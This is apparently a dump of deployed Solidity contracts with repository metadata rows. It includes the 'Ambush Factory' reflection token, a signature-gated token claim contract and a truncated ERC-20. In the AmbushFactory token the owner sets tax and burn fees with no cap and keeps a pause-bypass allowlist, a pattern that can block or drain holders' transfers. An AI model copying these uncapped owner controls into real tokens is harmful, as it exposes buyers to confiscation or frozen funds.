require(!bought_tokens);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
}
| 200,140 | 11,721 |
ae7191a6edb8c694d66f620191f6b8a436e03237ff6778118459aa4c6c4721ad
| 29,601 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/01/014f987cd0398955e587b4bbc500960a052de625_AmbushFactory.sol
| 5,206 | 18,752 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AmbushFactory is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Ambush Factory';
string private constant _symbol = 'AMBUSH';
uint256 private _taxFee = 250;
uint256 private _burnFee = 250;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 37,501 | 11,722 |
1bd4b6d40f898d91e4d9dd15b4998cbbb76fc7bd118d3fa128592894818bf011
| 34,287 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/3d/3dbb5a5bfc4493dd1029f2993c0715f08758b159_Claim.sol
| 4,557 | 19,213 |
pragma solidity 0.8.4;
//
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//
// OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
//
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
//
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
//
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface IOperatorAccessControl {
event RoleGranted(bytes32 indexed role,
address indexed account,
address indexed sender);
event RoleRevoked(bytes32 indexed role,
address indexed account,
address indexed sender);
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function isOperator(address account) external view returns (bool);
function addOperator(address account) external;
function revokeOperator(address account) external;
}
//
contract OperatorAccessControl is IOperatorAccessControl, Ownable {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
function hasRole(bytes32 role, address account)
public
view
override
returns (bool)
{
return _roles[role].members[account];
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
modifier isOperatorOrOwner() {
address _sender = _msgSender();
require(isOperator(_sender) || owner() == _sender,
"OperatorAccessControl: caller is not operator or owner");
_;
}
modifier onlyOperator() {
require(isOperator(_msgSender()),
"OperatorAccessControl: caller is not operator");
_;
}
function isOperator(address account) public view override returns (bool) {
return hasRole(OPERATOR_ROLE, account);
}
function _addOperator(address account) internal virtual {
_grantRole(OPERATOR_ROLE, account);
}
function addOperator(address account) public override onlyOperator {
_grantRole(OPERATOR_ROLE, account);
}
function revokeOperator(address account) public override onlyOperator {
_revokeRole(OPERATOR_ROLE, account);
}
}
//
interface IAddressesProvider {
function addSigner(address signer) external;
function removeSigner(address signer) external;
function isSigner(address signer) external view returns (bool);
function setAddress(bytes32 key, address addr) external;
function getAddress(bytes32 key) external view returns (address);
function setPlatformAccount(address platformAccount) external;
function getPlatformAccount() external view returns (address);
function safeGetPlatformAccount() external view returns (address);
}
//
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
//
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string public constant ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH =
keccak256(bytes("EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"));
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(string memory name) internal initializer {
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(abi.encode(EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())));
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash));
}
}
//
contract Claim is ReentrancyGuard, OperatorAccessControl, EIP712Base {
using SafeERC20 for IERC20;
// claim contract address
address public claimContractAddress;
// claim from address
address public claimFromAddress;
// claim address
mapping(address => bool) private claimMap;
// address provider
IAddressesProvider private addressesProvider;
// verify address
address private verifyAddresses;
// set verify address
function setVerifyAddresses(address _verifyAddresses) public onlyOperator {
addressesProvider.addSigner(_verifyAddresses);
verifyAddresses = _verifyAddresses;
}
bool public isOpen = false;
function setIsOpen(bool _isOpen) public onlyOperator {
isOpen = _isOpen;
}
constructor(address _addressesProvider) {
addressesProvider = IAddressesProvider(_addressesProvider);
_addOperator(_msgSender());
_initializeEIP712("Withdraw");
}
// add system address
function addAddress(address _claimContractAddress,
address _claimFromAddress) external onlyOperator {
claimContractAddress = _claimContractAddress;
claimFromAddress = _claimFromAddress;
}
bytes32 constant WITHDRAW_REQUEST_TYPEHASH =
keccak256("WithdrawRequest(address userAddress,uint256 amount)");
struct WithdrawRequest {
address userAddress;
uint256 amount;
}
function hashWithdrawRequest(WithdrawRequest memory request) internal pure returns (bytes32) {
return
keccak256(abi.encode(WITHDRAW_REQUEST_TYPEHASH,
request.userAddress,
request.amount));
}
function verifyRSV(WithdrawRequest memory request,
bytes32 sigR,
bytes32 sigS,
uint8 sigV) internal view returns (bool) {
address rsvAddress = ecrecover(toTypedMessageHash(hashWithdrawRequest(request)),
sigV,
sigR,
sigS);
return
addressesProvider.isSigner(rsvAddress) &&
rsvAddress == verifyAddresses;
}
event ClaimEvent(address userAddress, uint256 amount);
function claim(uint256 _amount,
bytes32 sigR,
bytes32 sigS,
uint8 sigV) public {
require(isOpen, "Close");
address _userAddress = _msgSender();
WithdrawRequest memory request = WithdrawRequest({
userAddress: _userAddress,
amount: _amount
});
require(verifyRSV(request, sigR, sigS, sigV), "Invalid signature");
require(!claimMap[_userAddress], "Already claim");
IERC20 _erc20 = IERC20(claimContractAddress);
require(_erc20.balanceOf(claimFromAddress) >= _amount,
"erc20 payment is insufficient");
require(_erc20.allowance(claimFromAddress, address(this)) >= _amount,
"erc20 payment allowance is insufficient");
_erc20.safeTransferFrom(claimFromAddress, _userAddress, _amount);
claimMap[_userAddress] = true;
emit ClaimEvent(_userAddress, _amount);
}
}
| 32,098 | 11,723 |
fec32bcfedd86c490e7c43eb78275b387ca9a98acd9d51ed05781da2af697292
| 24,459 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/73/738853796a7eFf9Ed07E499Da42C856797D31b1F_StandardToken.sol
| 2,935 | 10,849 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
